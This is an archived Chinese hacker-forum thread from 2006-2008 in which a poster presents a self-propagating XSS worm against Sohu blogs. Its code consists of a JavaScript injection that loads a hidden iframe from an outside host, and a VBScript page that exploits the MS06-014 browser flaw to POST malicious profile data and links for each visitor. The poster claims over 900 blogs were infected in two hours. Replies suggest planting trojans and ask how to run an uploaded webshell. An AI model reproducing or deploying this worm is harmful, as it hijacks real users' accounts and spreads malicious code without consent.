邪恶八进制信息安全团队技术讨论组's Archiver

茄子宝 2006-8-23 00:24

[原创]跨站结合MS06-014实现XSS worm

文章作者:茄子宝
原始连接:[url]http://www.eviloctal.com/[/url]

首先我已经在 《XSS worm初尝试》[url]http://forum.eviloctal.com/read-htm-tid-24263-page-e.html[/url] 这个帖子里详细说明了SOHU这个XSS漏洞.这个漏洞要写出XSS worm有两个限制:

1.XSS代码长度限制,不能超过2000字符。
分析:写成JAVACRIPT后需转HTML编码十进制,一小段便超过2000字符了。

2.“域权限”限制。
分析:XSS worm的POST数据相关代码不能从站外调用,通俗点讲就是不能站外提交数据,包括调用外部JS用document.write方法,所以只能把POST数据的代码全部写到XSS里。


从正常的脚本代码上估计是没什么方法了,只有靠浏览器的漏洞,突破以上两点的思路:

1.直接用XSS代码写一个框架网页.

[quote]javascript:for(i=0;i<document.p_w_picpaths.length;i++){if(document.p_w_picpaths.src.indexOf(&#39;j&#39;)==0)document.p_w_picpaths.width=0};document.body.insertAdjacentHTML("afterBegin"," <iframe src=http://xxxxxx.com/[color=red]xss-worm.htm[/color] width=0 height=0></iframe")[/quote]


2.利用MS06-014漏洞创建本地权限POST数据. [color=red]xss-worm.htm[/color] 代码如下:

[quote]<html>
<script language="VBScript">
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
x.Open "post","[url]http://blog.sohu.com/manage/profile.do[/url]",False
x.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
x.send "[color=red]恶意XSS数据[/color]"
x.Open "post","[url]http://blog.sohu.com//manage/link.do[/url]",False
x.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
x.send "m=add&title=Hacker%20s0n9&desc=XSS%20worm&link=http%3A//s0n9.blog.sohu.com"
</script>
</html>[/quote]


分析:xss-worm.htm也就是框架网页,提交[color=red]恶意XSS数据[/color]到浏览者的资料里,至于[color=red]恶意XSS数据[/color]也就是第一步写框架网页修改个人资料所抓的包的内容,同时浏览者也会自动加一个友情连接。

总结:当浏览者进去XSS worm页面,就会自动修改自己的个人档案加入恶意XSS内容,同时其他浏览者也会传染,唯一的限制就是浏览器必须没有打MS06-014的补丁。

qq66565841 2006-8-23 04:04

[s:37] 这不跟以前的一样嘛,只是代码换成了06014的马

ch4o.jt 2006-8-25 15:38

既然有ms06014漏洞,我想我应该挂马才对...
post数据方面这招并不好... [s:52]

茄子宝 2006-8-25 21:08

post数据为的是实现自动传染。

你要挂个马只要在框架页面加个JS就可以拉。 [s:52]

我测试了统计了下,两小时挂上了九百多人的博客。

bulustheone 2008-1-9 23:52

2楼说直接挂马,感觉不太好。这样子容易被捕杀
用XSS很多时候可以在潜移默化中得到你想要的
-----------------------------------------------------
在这问个问题,我把WEBSHELL上传到server上但是我要怎么运行它?

kj021320 2008-1-10 21:12

汗~~~ 不明白为什么一定需要 XMLHTTP的形式来POST  直接 Create 一个IFRAME 然后 在IFRAME 里面构造一个 FORM 提交!就这样!

゛小︷帅!﹊ 2008-1-14 20:15

XSS大师,sohu的标签xss+搜索引擎测试了么。那个是一个不错的邪恶的起点

页: [1]
© 1999-2008 EvilOctal Security Team